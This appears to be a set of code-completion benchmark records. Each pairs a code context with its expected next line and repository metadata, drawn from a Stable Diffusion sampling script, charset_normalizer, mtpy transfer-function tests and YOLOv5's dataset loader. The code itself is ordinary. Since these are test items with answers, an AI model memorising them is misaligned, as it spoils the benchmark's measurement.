parser.add_argument( "--overlap", type=int, default=24, help="length of overlapped regions", ) parser.add_argument( "--sync_gn", action='store_true', help="Use sync_gn", ) opt = parser.parse_args() return opt def put_watermark(img, wm_encoder=None): if wm_encoder is not None: img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR) img = wm_encoder.encode(img, 'dwtDct') img = Image.fromarray(img[:, :, ::-1]) return img def main(opt): seed_everything(opt.seed) config = OmegaConf.load(f"{opt.config}") device = torch.device("cuda") if opt.device == "cuda" else torch.device("cpu") if opt.tiled_decoding: config.model.params.first_stage_config.params.tiled = True if opt.sync_gn: config.model.params.first_stage_config.params.ddconfig.sync_gn = True model = load_model_from_config(config, f"{opt.ckpt}", device) if opt.plms: sampler = PLMSSampler(model, device=device) elif opt.dpm: sampler = DPMSolverSampler(model, device=device) else:
sys.path.insert(0, os.getcwd()) torch.set_grad_enabled(False) def chunk(it, size): it = iter(it) return iter(lambda: tuple(islice(it, size)), ()) def load_model_from_config(config, ckpt, device=torch.device("cuda"), verbose=False): print(f"Loading model from {ckpt}") pl_sd = torch.load(ckpt, map_location="cpu") if "global_step" in pl_sd: print(f"Global Step: {pl_sd['global_step']}") sd = pl_sd["state_dict"] model = instantiate_from_config(config.model) m, u = model.load_state_dict(sd, strict=False) if len(m) > 0 and verbose: print("missing keys:") print(m) if len(u) > 0 and verbose: print("unexpected keys:") print(u) if device == torch.device("cuda"): model.cuda() elif device == torch.device("cpu"): model.cpu() model.cond_stage_model.device = "cpu" else: raise ValueError(f"Incorrect device name. Received: {device}") model.eval() return model def parse_args(): parser = argparse.ArgumentParser() parser.add_argument( "--prompt", type=str, nargs="?", default="a professional photograph of an astronaut riding a triceratops", help="the prompt to render" ) parser.add_argument( "--outdir", type=str, nargs="?", help="dir to write results to", default="outputs/txt2img-samples" ) parser.add_argument( "--steps", type=int, default=50, help="number of ddim sampling steps", ) parser.add_argument( "--plms", action='store_true', help="use plms sampling", ) parser.add_argument( "--dpm", action='store_true', help="use DPM (2) sampler", ) parser.add_argument( "--fixed_code", action='store_true', help="if enabled, uses the same starting code across all samples ", ) parser.add_argument( "--ddim_eta", type=float, default=0.0, help="ddim eta (eta=0.0 corresponds to deterministic sampling", ) parser.add_argument( "--n_iter", type=int, default=3, help="sample this often", ) parser.add_argument( "--H", type=int, default=512, help="image height, in pixel space", ) parser.add_argument( "--W", type=int, default=512, help="image width, in pixel space", ) parser.add_argument( "--C", type=int, default=4, help="latent channels", ) parser.add_argument( "--f", type=int, default=8, help="downsampling factor, most often 8 or 16", ) parser.add_argument( "--n_samples", type=int, default=3, help="how many samples to produce for each given prompt. A.k.a batch size", ) parser.add_argument( "--n_rows", type=int, default=0, help="rows in the grid (default: n_samples)", ) parser.add_argument( "--scale", type=float, default=9.0, help="unconditional guidance scale: eps = eps(x, empty) + scale * (eps(x, cond) - eps(x, empty))", ) parser.add_argument( "--from-file", type=str, help="if specified, load prompts from this file, separated by newlines", ) parser.add_argument( "--config", type=str, default="configs/stable-diffusion/v2-inference.yaml", help="path to config which constructs model", ) parser.add_argument( "--ckpt", type=str, help="path to checkpoint of model", ) parser.add_argument( "--seed", type=int, default=42, help="the seed (for reproducible sampling)", ) parser.add_argument( "--precision", type=str, help="evaluate at this precision", choices=["full", "autocast"], default="autocast" ) parser.add_argument( "--repeat", type=int, default=1, help="repeat each prompt in file this often", ) parser.add_argument( "--device", type=str, help="Device on which Stable Diffusion will be run", choices=["cpu", "cuda"], default="cpu" ) parser.add_argument( "--torchscript", action='store_true', help="Use TorchScript", ) parser.add_argument( "--ipex", action='store_true', help="Use Intel® Extension for PyTorch*", ) parser.add_argument( "--bf16", action='store_true', help="Use bfloat16", ) # redilation parser.add_argument( "--dilate", type=int, default=None, help="redilation factor", ) parser.add_argument( "--dilate_tau", type=int, default=None, help="timestep control, larger means more dilations", ) parser.add_argument( "--dilate_skip", type=int, default=None, help="layer control, larger means less dilations", ) parser.add_argument( "--progressive_dilate", action='store_true', help="Use progressive dilate", ) parser.add_argument( "--tiled_decoding", action='store_true', help="Use progressive dilate", ) parser.add_argument( "--overlap", type=int, default=24, help="length of overlapped regions", ) parser.add_argument( "--sync_gn", action='store_true', help="Use sync_gn", ) opt = parser.parse_args() return opt def put_watermark(img, wm_encoder=None): if wm_encoder is not None: img = cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR) img = wm_encoder.encode(img, 'dwtDct') img = Image.fromarray(img[:, :, ::-1]) return img def main(opt): seed_everything(opt.seed) config = OmegaConf.load(f"{opt.config}") device = torch.device("cuda") if opt.device == "cuda" else torch.device("cpu") if opt.tiled_decoding: config.model.params.first_stage_config.params.tiled = True if opt.sync_gn: config.model.params.first_stage_config.params.ddconfig.sync_gn = True model = load_model_from_config(config, f"{opt.ckpt}", device) if opt.plms: sampler = PLMSSampler(model, device=device) elif opt.dpm: sampler = DPMSolverSampler(model, device=device) else:
sampler = DDIMSampler(model, device=device)
1
2023-10-11 10:57:55+00:00
12k
bilibini/Lovely_Image_Downloader
dist/py/Python38/site-packages/charset_normalizer/cd.py
[ { "identifier": "FREQUENCIES", "path": "dist/py/Python38/site-packages/charset_normalizer/constant.py", "snippet": "FREQUENCIES: Dict[str, List[str]] = {\n \"English\": [\n \"e\",\n \"a\",\n \"t\",\n \"i\",\n \"o\",\n \"n\",\n \"s\",\n \"r\",\n ...
import importlib from codecs import IncrementalDecoder from collections import Counter from functools import lru_cache from typing import Counter as TypeCounter, Dict, List, Optional, Tuple from .constant import ( FREQUENCIES, KO_NAMES, LANGUAGE_SUPPORTED_COUNT, TOO_SMALL_SEQUENCE, ZH_NAMES, ) from .md import is_suspiciously_successive_range from .models import CoherenceMatches from .utils import ( is_accentuated, is_latin, is_multi_byte_encoding, is_unicode_range_secondary, unicode_range, )
10,101
def encoding_unicode_range(iana_name: str) -> List[str]: """ Return associated unicode ranges in a single byte code page. """ if is_multi_byte_encoding(iana_name): raise IOError("Function not supported on multi-byte code page") decoder = importlib.import_module( "encodings.{}".format(iana_name) ).IncrementalDecoder p: IncrementalDecoder = decoder(errors="ignore") seen_ranges: Dict[str, int] = {} character_count: int = 0 for i in range(0x40, 0xFF): chunk: str = p.decode(bytes([i])) if chunk: character_range: Optional[str] = unicode_range(chunk) if character_range is None: continue if is_unicode_range_secondary(character_range) is False: if character_range not in seen_ranges: seen_ranges[character_range] = 0 seen_ranges[character_range] += 1 character_count += 1 return sorted( [ character_range for character_range in seen_ranges if seen_ranges[character_range] / character_count >= 0.15 ] ) def unicode_range_languages(primary_range: str) -> List[str]: """ Return inferred languages used with a unicode range. """ languages: List[str] = [] for language, characters in FREQUENCIES.items(): for character in characters: if unicode_range(character) == primary_range: languages.append(language) break return languages @lru_cache() def encoding_languages(iana_name: str) -> List[str]: """ Single-byte encoding language association. Some code page are heavily linked to particular language(s). This function does the correspondence. """ unicode_ranges: List[str] = encoding_unicode_range(iana_name) primary_range: Optional[str] = None for specified_range in unicode_ranges: if "Latin" not in specified_range: primary_range = specified_range break if primary_range is None: return ["Latin Based"] return unicode_range_languages(primary_range) @lru_cache() def mb_encoding_languages(iana_name: str) -> List[str]: """ Multi-byte encoding language association. Some code page are heavily linked to particular language(s). This function does the correspondence. """ if ( iana_name.startswith("shift_") or iana_name.startswith("iso2022_jp") or iana_name.startswith("euc_j") or iana_name == "cp932" ): return ["Japanese"]
def encoding_unicode_range(iana_name: str) -> List[str]: """ Return associated unicode ranges in a single byte code page. """ if is_multi_byte_encoding(iana_name): raise IOError("Function not supported on multi-byte code page") decoder = importlib.import_module( "encodings.{}".format(iana_name) ).IncrementalDecoder p: IncrementalDecoder = decoder(errors="ignore") seen_ranges: Dict[str, int] = {} character_count: int = 0 for i in range(0x40, 0xFF): chunk: str = p.decode(bytes([i])) if chunk: character_range: Optional[str] = unicode_range(chunk) if character_range is None: continue if is_unicode_range_secondary(character_range) is False: if character_range not in seen_ranges: seen_ranges[character_range] = 0 seen_ranges[character_range] += 1 character_count += 1 return sorted( [ character_range for character_range in seen_ranges if seen_ranges[character_range] / character_count >= 0.15 ] ) def unicode_range_languages(primary_range: str) -> List[str]: """ Return inferred languages used with a unicode range. """ languages: List[str] = [] for language, characters in FREQUENCIES.items(): for character in characters: if unicode_range(character) == primary_range: languages.append(language) break return languages @lru_cache() def encoding_languages(iana_name: str) -> List[str]: """ Single-byte encoding language association. Some code page are heavily linked to particular language(s). This function does the correspondence. """ unicode_ranges: List[str] = encoding_unicode_range(iana_name) primary_range: Optional[str] = None for specified_range in unicode_ranges: if "Latin" not in specified_range: primary_range = specified_range break if primary_range is None: return ["Latin Based"] return unicode_range_languages(primary_range) @lru_cache() def mb_encoding_languages(iana_name: str) -> List[str]: """ Multi-byte encoding language association. Some code page are heavily linked to particular language(s). This function does the correspondence. """ if ( iana_name.startswith("shift_") or iana_name.startswith("iso2022_jp") or iana_name.startswith("euc_j") or iana_name == "cp932" ): return ["Japanese"]
if iana_name.startswith("gb") or iana_name in ZH_NAMES:
4
2023-10-11 09:08:57+00:00
12k
MTgeophysics/mtpy-v2
tests/core/transfer_function/test_tf_base.py
[ { "identifier": "TFBase", "path": "mtpy/core/transfer_function/base.py", "snippet": "class TFBase:\n \"\"\"\n\n Generic transfer function object that uses xarray as its base container\n for the data.\n\n \"\"\"\n\n def __init__(\n self,\n tf=None,\n tf_error=None,\n ...
import unittest import numpy as np import scipy.interpolate as spi from mtpy.core.transfer_function.base import TFBase from mtpy.utils.calculator import rotate_matrix_with_errors
7,627
self.assertEqual((tf.values == 0).all(), v_dict["empty"]) def test_frequency(self): self.assertEqual( (self.tf.frequency == 1.0 / np.arange(1, 3, 1)).all(), True ) def test_period(self): self.assertEqual((self.tf.period == np.arange(1, 3, 1)).all(), True) class TestTFBaseFrequencyInput(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase(frequency=[1, 2, 3]) self.expected_shape = (3, 2, 2) self.expected = { "transfer_function": {"dtype": complex, "empty": True}, "transfer_function_error": {"dtype": float, "empty": True}, "transfer_function_model_error": {"dtype": float, "empty": True}, } def test_set_frequency(self): self.tf.frequency = np.logspace(-1, 1, 3) with self.subTest("freq"): self.assertEqual( np.isclose(self.tf.frequency, np.logspace(-1, 1, 3)).all(), True, ) with self.subTest("period"): self.assertEqual( np.isclose(self.tf.period, 1.0 / np.logspace(-1, 1, 3)).all(), True, ) def test_set_period(self): self.tf.period = 1.0 / np.logspace(-1, 1, 3) with self.subTest("freq"): self.assertEqual( np.isclose(self.tf.frequency, np.logspace(-1, 1, 3)).all(), True, ) with self.subTest("period"): self.assertEqual( np.isclose(self.tf.period, 1.0 / np.logspace(-1, 1, 3)).all(), True, ) class TestTFBaseValidators(unittest.TestCase): def setUp(self): self.tf = TFBase() def test_validate_array_input_float(self): self.assertEqual( ( np.zeros((1, 2, 2), dtype=float) == self.tf._validate_array_input( [[[0, 0], [0, 0]], [[0, 0], [0, 0]]], float ) ).all(), True, ) def test_validate_array_input_complex(self): self.assertEqual( ( np.zeros((1, 2, 2), dtype=complex) == self.tf._validate_array_input( [[[0, 0], [0, 0]], [[0, 0], [0, 0]]], complex ) ).all(), True, ) def test_validate_array_input_int(self): self.assertEqual( ( np.zeros((1, 2, 2), dtype=float) == self.tf._validate_array_input( [[[0, 0], [0, 0]], [[0, 0], [0, 0]]], float ) ).all(), True, ) def test_validate_frequency_shape(self): self.assertEqual(self.tf._validate_frequency([1], 10).size, 10) def test_is_empty(self): self.assertEqual(self.tf._is_empty(), True) def test_has_tf(self): self.assertEqual(self.tf._has_tf(), False) def test_has_tf_error(self): self.assertEqual(self.tf._has_tf_error(), False) def test_has_tf_model_error(self): self.assertEqual(self.tf._has_tf_model_error(), False) class TestTFRotation(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase( tf=np.ones((3, 2, 2)), tf_error=np.ones((3, 2, 2)) * 0.25, tf_model_error=np.ones((3, 2, 2)) * 0.5, ) self.rot_tf = self.tf.rotate(30) self.true_rot_tf = np.zeros((3, 2, 2), dtype=complex) self.true_rot_tf_error = np.zeros((3, 2, 2), dtype=float) self.true_rot_tf_model_error = np.zeros((3, 2, 2), dtype=float) for ii, angle in enumerate([30, 30, 30]): ( self.true_rot_tf[ii], self.true_rot_tf_error[ii],
# -*- coding: utf-8 -*- """ Created on Fri Oct 21 13:46:49 2022 @author: jpeacock """ # ============================================================================= # Imports # ============================================================================= # ============================================================================= class TestTFBaseTFInput(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase(tf=np.array([[[0, 1], [1, 0]], [[1, 0], [0, 1]]])) self.expected_shape = (2, 2, 2) self.expected = { "transfer_function": {"dtype": complex, "empty": False}, "transfer_function_error": {"dtype": float, "empty": True}, "transfer_function_model_error": {"dtype": float, "empty": True}, } def test_shape_zeros_dtype(self): for key, v_dict in self.expected.items(): tf = getattr(self.tf._dataset, key) with self.subTest(f"{key} shape"): self.assertEqual(tf.shape, self.expected_shape) with self.subTest(f"{key} dtype"): self.assertEqual(tf.dtype, v_dict["dtype"]) with self.subTest(f"{key} empty"): self.assertEqual((tf.values == 0).all(), v_dict["empty"]) def test_frequency(self): self.assertEqual( (self.tf.frequency == 1.0 / np.arange(1, 3, 1)).all(), True ) def test_period(self): self.assertEqual((self.tf.period == np.arange(1, 3, 1)).all(), True) def test_equal(self): self.assertEqual(self.tf, self.tf.copy()) class TestTFBaseTFErrorInput(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase( tf_error=np.array([[[0, 1], [1, 0]], [[1, 0], [0, 1]]]) ) self.expected_shape = (2, 2, 2) self.expected = { "transfer_function": {"dtype": complex, "empty": True}, "transfer_function_error": {"dtype": float, "empty": False}, "transfer_function_model_error": {"dtype": float, "empty": True}, } def test_shape_zeros_dtype(self): for key, v_dict in self.expected.items(): tf = getattr(self.tf._dataset, key) with self.subTest(f"{key} shape"): self.assertEqual(tf.shape, self.expected_shape) with self.subTest(f"{key} dtype"): self.assertEqual(tf.dtype, v_dict["dtype"]) with self.subTest(f"{key} empty"): self.assertEqual((tf.values == 0).all(), v_dict["empty"]) def test_frequency(self): self.assertEqual( (self.tf.frequency == 1.0 / np.arange(1, 3, 1)).all(), True ) def test_period(self): self.assertEqual((self.tf.period == np.arange(1, 3, 1)).all(), True) class TestTFBaseTFModelErrorInput(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase( tf_model_error=np.array([[[0, 1], [1, 0]], [[1, 0], [0, 1]]]) ) self.expected_shape = (2, 1, 1) self.expected = { "transfer_function": {"dtype": complex, "empty": True}, "transfer_function_error": {"dtype": float, "empty": True}, "transfer_function_model_error": {"dtype": float, "empty": False}, } def test_shape_zeros_dtype(self): for key, v_dict in self.expected.items(): tf = getattr(self.tf._dataset, key) with self.subTest(f"{key} shape"): self.assertEqual(tf.shape, self.expected_shape) with self.subTest(f"{key} dtype"): self.assertEqual(tf.dtype, v_dict["dtype"]) with self.subTest(f"{key} empty"): self.assertEqual((tf.values == 0).all(), v_dict["empty"]) def test_frequency(self): self.assertEqual( (self.tf.frequency == 1.0 / np.arange(1, 3, 1)).all(), True ) def test_period(self): self.assertEqual((self.tf.period == np.arange(1, 3, 1)).all(), True) class TestTFBaseFrequencyInput(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase(frequency=[1, 2, 3]) self.expected_shape = (3, 2, 2) self.expected = { "transfer_function": {"dtype": complex, "empty": True}, "transfer_function_error": {"dtype": float, "empty": True}, "transfer_function_model_error": {"dtype": float, "empty": True}, } def test_set_frequency(self): self.tf.frequency = np.logspace(-1, 1, 3) with self.subTest("freq"): self.assertEqual( np.isclose(self.tf.frequency, np.logspace(-1, 1, 3)).all(), True, ) with self.subTest("period"): self.assertEqual( np.isclose(self.tf.period, 1.0 / np.logspace(-1, 1, 3)).all(), True, ) def test_set_period(self): self.tf.period = 1.0 / np.logspace(-1, 1, 3) with self.subTest("freq"): self.assertEqual( np.isclose(self.tf.frequency, np.logspace(-1, 1, 3)).all(), True, ) with self.subTest("period"): self.assertEqual( np.isclose(self.tf.period, 1.0 / np.logspace(-1, 1, 3)).all(), True, ) class TestTFBaseValidators(unittest.TestCase): def setUp(self): self.tf = TFBase() def test_validate_array_input_float(self): self.assertEqual( ( np.zeros((1, 2, 2), dtype=float) == self.tf._validate_array_input( [[[0, 0], [0, 0]], [[0, 0], [0, 0]]], float ) ).all(), True, ) def test_validate_array_input_complex(self): self.assertEqual( ( np.zeros((1, 2, 2), dtype=complex) == self.tf._validate_array_input( [[[0, 0], [0, 0]], [[0, 0], [0, 0]]], complex ) ).all(), True, ) def test_validate_array_input_int(self): self.assertEqual( ( np.zeros((1, 2, 2), dtype=float) == self.tf._validate_array_input( [[[0, 0], [0, 0]], [[0, 0], [0, 0]]], float ) ).all(), True, ) def test_validate_frequency_shape(self): self.assertEqual(self.tf._validate_frequency([1], 10).size, 10) def test_is_empty(self): self.assertEqual(self.tf._is_empty(), True) def test_has_tf(self): self.assertEqual(self.tf._has_tf(), False) def test_has_tf_error(self): self.assertEqual(self.tf._has_tf_error(), False) def test_has_tf_model_error(self): self.assertEqual(self.tf._has_tf_model_error(), False) class TestTFRotation(unittest.TestCase): @classmethod def setUpClass(self): self.tf = TFBase( tf=np.ones((3, 2, 2)), tf_error=np.ones((3, 2, 2)) * 0.25, tf_model_error=np.ones((3, 2, 2)) * 0.5, ) self.rot_tf = self.tf.rotate(30) self.true_rot_tf = np.zeros((3, 2, 2), dtype=complex) self.true_rot_tf_error = np.zeros((3, 2, 2), dtype=float) self.true_rot_tf_model_error = np.zeros((3, 2, 2), dtype=float) for ii, angle in enumerate([30, 30, 30]): ( self.true_rot_tf[ii], self.true_rot_tf_error[ii],
) = rotate_matrix_with_errors(
1
2023-10-11 22:24:50+00:00
12k
Jacoo-ai/HIC-Yolov5
utils/datasets.py
[ { "identifier": "Albumentations", "path": "utils/augmentations.py", "snippet": "class Albumentations:\n # YOLOv5 Albumentations class (optional, only used if package is installed)\n def __init__(self):\n self.transform = None\n try:\n import albumentations as A\n ...
import glob import hashlib import json import logging import os import random import shutil import time import cv2 import numpy as np import torch import torch.nn.functional as F import yaml import pafy from itertools import repeat from multiprocessing.pool import ThreadPool, Pool from pathlib import Path from threading import Thread from zipfile import ZipFile from PIL import Image, ExifTags from torch.utils.data import Dataset from tqdm import tqdm from utils.augmentations import Albumentations, augment_hsv, copy_paste, letterbox, mixup, random_perspective, \ center_crop from utils.general import check_dataset, check_requirements, check_yaml, clean_str, segments2boxes, \ xywh2xyxy, xywhn2xyxy, xyxy2xywhn, xyn2xy from utils.torch_utils import torch_distributed_zero_first
10,591
labels9[:, [1, 3]] -= xc labels9[:, [2, 4]] -= yc c = np.array([xc, yc]) # centers segments9 = [x - c for x in segments9] for x in (labels9[:, 1:], *segments9): np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective() # img9, labels9 = replicate(img9, labels9) # replicate # Augment img9, labels9 = random_perspective(img9, labels9, segments9, degrees=self.hyp['degrees'], translate=self.hyp['translate'], scale=self.hyp['scale'], shear=self.hyp['shear'], perspective=self.hyp['perspective'], border=self.mosaic_border) # border to remove return img9, labels9 def create_folder(path='./new'): # Create folder if os.path.exists(path): shutil.rmtree(path) # delete output folder os.makedirs(path) # make new output folder def flatten_recursive(path='../datasets/coco128'): # Flatten a recursive directory by bringing all files to top level new_path = Path(path + '_flat') create_folder(new_path) for file in tqdm(glob.glob(str(Path(path)) + '/**/*.*', recursive=True)): shutil.copyfile(file, new_path / Path(file).name) def extract_boxes(path='../datasets/coco128'): # from utils.datasets import *; extract_boxes() # Convert detection dataset into classification dataset, with one directory per class path = Path(path) # images dir shutil.rmtree(path / 'classifier') if (path / 'classifier').is_dir() else None # remove existing files = list(path.rglob('*.*')) n = len(files) # number of files for im_file in tqdm(files, total=n): if im_file.suffix[1:] in IMG_FORMATS: # image im = cv2.imread(str(im_file))[..., ::-1] # BGR to RGB h, w = im.shape[:2] # labels lb_file = Path(img2label_paths([str(im_file)])[0]) if Path(lb_file).exists(): with open(lb_file, 'r') as f: lb = np.array([x.split() for x in f.read().strip().splitlines()], dtype=np.float32) # labels for j, x in enumerate(lb): c = int(x[0]) # class f = (path / 'classifier') / f'{c}' / f'{path.stem}_{im_file.stem}_{j}.jpg' # new filename if not f.parent.is_dir(): f.parent.mkdir(parents=True) b = x[1:] * [w, h, w, h] # box # b[2:] = b[2:].max() # rectangle to square b[2:] = b[2:] * 1.2 + 3 # pad b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int) b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image b[[1, 3]] = np.clip(b[[1, 3]], 0, h) assert cv2.imwrite(str(f), im[b[1]:b[3], b[0]:b[2]]), f'box failure in {f}' def autosplit(path='../datasets/coco128/images', weights=(0.9, 0.1, 0.0), annotated_only=False): """ Autosplit a dataset into train/val/test splits and save path/autosplit_*.txt files Usage: from utils.datasets import *; autosplit() Arguments path: Path to images directory weights: Train, val, test weights (list, tuple) annotated_only: Only use images with an annotated txt file """ path = Path(path) # images dir files = sum([list(path.rglob(f"*.{img_ext}")) for img_ext in IMG_FORMATS], []) # image files only n = len(files) # number of files random.seed(0) # for reproducibility indices = random.choices([0, 1, 2], weights=weights, k=n) # assign each image to a split txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt'] # 3 txt files [(path.parent / x).unlink(missing_ok=True) for x in txt] # remove existing print(f'Autosplitting images from {path}' + ', using *.txt labeled images only' * annotated_only) for i, img in tqdm(zip(indices, files), total=n): if not annotated_only or Path(img2label_paths([str(img)])[0]).exists(): # check label with open(path.parent / txt[i], 'a') as f: f.write('./' + img.relative_to(path.parent).as_posix() + '\n') # add image to txt file def verify_image_label(args): # Verify one image-label pair im_file, lb_file, prefix = args nm, nf, ne, nc, msg, segments = 0, 0, 0, 0, '', [] # number (missing, found, empty, corrupt), message, segments try: # verify images im = Image.open(im_file) im.verify() # PIL verify shape = exif_size(im) # image size assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels' assert im.format.lower() in IMG_FORMATS, f'invalid image format {im.format}' if im.format.lower() in ('jpg', 'jpeg'): with open(im_file, 'rb') as f: f.seek(-2, 2) if f.read() != b'\xff\xd9': # corrupt JPEG Image.open(im_file).save(im_file, format='JPEG', subsampling=0, quality=100) # re-save image msg = f'{prefix}WARNING: corrupt JPEG restored and saved {im_file}' # verify labels if os.path.isfile(lb_file): nf = 1 # label found with open(lb_file, 'r') as f: l = [x.split() for x in f.read().strip().splitlines() if len(x)] if any([len(x) > 8 for x in l]): # is segment classes = np.array([x[0] for x in l], dtype=np.float32) segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l] # (cls, xy1...)
# YOLOv5 🚀 by Ultralytics, GPL-3.0 license """ Dataloaders and dataset utils 读取数据集,并做处理的相关函数 """ # import albumentations as A # import pandas as pd # Parameters HELP_URL = 'https://github.com/ultralytics/yolov5/wiki/Train-Custom-Data' IMG_FORMATS = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo'] # acceptable image suffixes VID_FORMATS = ['mov', 'avi', 'mp4', 'mpg', 'mpeg', 'm4v', 'wmv', 'mkv'] # acceptable video suffixes NUM_THREADS = min(8, os.cpu_count()) # number of multiprocessing threads # Get orientation exif tag for orientation in ExifTags.TAGS.keys(): if ExifTags.TAGS[orientation] == 'Orientation': break def get_hash(paths): # Returns a single hash value of a list of paths (files or dirs) size = sum(os.path.getsize(p) for p in paths if os.path.exists(p)) # sizes h = hashlib.md5(str(size).encode()) # hash sizes h.update(''.join(paths).encode()) # hash paths return h.hexdigest() # return hash def exif_size(img): # Returns exif-corrected PIL size s = img.size # (width, height) try: rotation = dict(img._getexif().items())[orientation] if rotation == 6: # rotation 270 s = (s[1], s[0]) elif rotation == 8: # rotation 90 s = (s[1], s[0]) except: pass return s def exif_transpose(image): """ Transpose a PIL image accordingly if it has an EXIF Orientation tag. From https://github.com/python-pillow/Pillow/blob/master/src/PIL/ImageOps.py :param image: The image to transpose. :return: An image. """ exif = image.getexif() orientation = exif.get(0x0112, 1) # default 1 if orientation > 1: method = {2: Image.FLIP_LEFT_RIGHT, 3: Image.ROTATE_180, 4: Image.FLIP_TOP_BOTTOM, 5: Image.TRANSPOSE, 6: Image.ROTATE_270, 7: Image.TRANSVERSE, 8: Image.ROTATE_90, }.get(orientation) if method is not None: image = image.transpose(method) del exif[0x0112] image.info["exif"] = exif.tobytes() return image def create_dataloader(path, imgsz, batch_size, stride, single_cls=False, hyp=None, augment=False, cache=False, pad=0.0, rect=False, rank=-1, workers=8, image_weights=False, quad=False, prefix=''): # Make sure only the first process in DDP process the dataset first, and the following others can use the cache with torch_distributed_zero_first(rank): dataset = LoadImagesAndLabels(path, imgsz, batch_size, augment=augment, # augment images hyp=hyp, # augmentation hyperparameters rect=rect, # rectangular training cache_images=False, single_cls=single_cls, stride=int(stride), pad=pad, image_weights=image_weights, prefix=prefix) batch_size = min(batch_size, len(dataset)) nw = min([os.cpu_count(), batch_size if batch_size > 1 else 0, workers]) # number of workers sampler = torch.utils.data.distributed.DistributedSampler(dataset) if rank != -1 else None loader = torch.utils.data.DataLoader if image_weights else InfiniteDataLoader # Use torch.utils.data.DataLoader() if dataset.properties will update during training else InfiniteDataLoader() dataloader = loader(dataset, batch_size=batch_size, num_workers=nw, sampler=sampler, pin_memory=True, collate_fn=LoadImagesAndLabels.collate_fn4 if quad else LoadImagesAndLabels.collate_fn) return dataloader, dataset class InfiniteDataLoader(torch.utils.data.dataloader.DataLoader): """ Dataloader that reuses workers Uses same syntax as vanilla DataLoader """ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) object.__setattr__(self, 'batch_sampler', _RepeatSampler(self.batch_sampler)) self.iterator = super().__iter__() def __len__(self): return len(self.batch_sampler.sampler) def __iter__(self): for i in range(len(self)): yield next(self.iterator) class _RepeatSampler(object): """ Sampler that repeats forever Args: sampler (Sampler) """ def __init__(self, sampler): self.sampler = sampler def __iter__(self): while True: yield from iter(self.sampler) class LoadImages: # YOLOv5 image/video dataloader, i.e. `python detect.py --source image.jpg/vid.mp4` def __init__(self, path, img_size=640, stride=32, auto=True): p = str(Path(path).resolve()) # os-agnostic absolute path if '*' in p: files = sorted(glob.glob(p, recursive=True)) # glob elif os.path.isdir(p): files = sorted(glob.glob(os.path.join(p, '*.*'))) # dir elif os.path.isfile(p): files = [p] # files else: raise Exception(f'ERROR: {p} does not exist') images = [x for x in files if x.split('.')[-1].lower() in IMG_FORMATS] videos = [x for x in files if x.split('.')[-1].lower() in VID_FORMATS] ni, nv = len(images), len(videos) self.img_size = img_size self.stride = stride self.files = images + videos self.nf = ni + nv # number of files self.video_flag = [False] * ni + [True] * nv self.mode = 'image' self.auto = auto if any(videos): self.new_video(videos[0]) # new video else: self.cap = None assert self.nf > 0, f'No images or videos found in {p}. ' \ f'Supported formats are:\nimages: {IMG_FORMATS}\nvideos: {VID_FORMATS}' def __iter__(self): self.count = 0 return self def __next__(self): if self.count == self.nf: raise StopIteration path = self.files[self.count] if self.video_flag[self.count]: # Read video self.mode = 'video' ret_val, img0 = self.cap.read() if not ret_val: self.count += 1 self.cap.release() if self.count == self.nf: # last video raise StopIteration else: path = self.files[self.count] self.new_video(path) ret_val, img0 = self.cap.read() self.frame += 1 print(f'video {self.count + 1}/{self.nf} ({self.frame}/{self.frames}) {path}: ', end='') else: # Read image self.count += 1 img0 = cv2.imread(path) # BGR assert img0 is not None, 'Image Not Found ' + path print(f'image {self.count}/{self.nf} {path}: ', end='') # Padded resize img = letterbox(img0, self.img_size, stride=self.stride, auto=self.auto)[0] # Convert img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB img = np.ascontiguousarray(img) return path, img, img0, self.cap def new_video(self, path): self.frame = 0 self.cap = cv2.VideoCapture(path) self.frames = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT)) def __len__(self): return self.nf # number of files class LoadWebcam: # for inference # YOLOv5 local webcam dataloader, i.e. `python detect.py --source 0` def __init__(self, pipe='0', img_size=640, stride=32): self.img_size = img_size self.stride = stride self.pipe = eval(pipe) if pipe.isnumeric() else pipe self.cap = cv2.VideoCapture(self.pipe) # video capture object self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3) # set buffer size def __iter__(self): self.count = -1 return self def __next__(self): self.count += 1 if cv2.waitKey(1) == ord('q'): # q to quit self.cap.release() cv2.destroyAllWindows() raise StopIteration # Read frame ret_val, img0 = self.cap.read() img0 = cv2.flip(img0, 1) # flip left-right # Print assert ret_val, f'Camera Error {self.pipe}' img_path = 'webcam.jpg' print(f'webcam {self.count}: ', end='') # Padded resize img = letterbox(img0, self.img_size, stride=self.stride)[0] # Convert img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB img = np.ascontiguousarray(img) return img_path, img, img0, None def __len__(self): return 0 class LoadStreams: # YOLOv5 streamloader, i.e. `python detect.py --source 'rtsp://example.com/media.mp4' # RTSP, RTMP, HTTP streams` def __init__(self, sources='streams.txt', img_size=640, stride=32, auto=True): self.mode = 'stream' self.img_size = img_size self.stride = stride if os.path.isfile(sources): with open(sources, 'r') as f: sources = [x.strip() for x in f.read().strip().splitlines() if len(x.strip())] else: sources = [sources] n = len(sources) self.imgs, self.fps, self.frames, self.threads = [None] * n, [0] * n, [0] * n, [None] * n self.sources = [clean_str(x) for x in sources] # clean source names for later self.auto = auto for i, s in enumerate(sources): # index, source # Start thread to read frames from video stream print(f'{i + 1}/{n}: {s}... ', end='') if 'youtube.com/' in s or 'youtu.be/' in s: # if source is YouTube video check_requirements(('pafy', 'youtube_dl')) s = pafy.new(s).getbest(preftype="mp4").url # YouTube URL 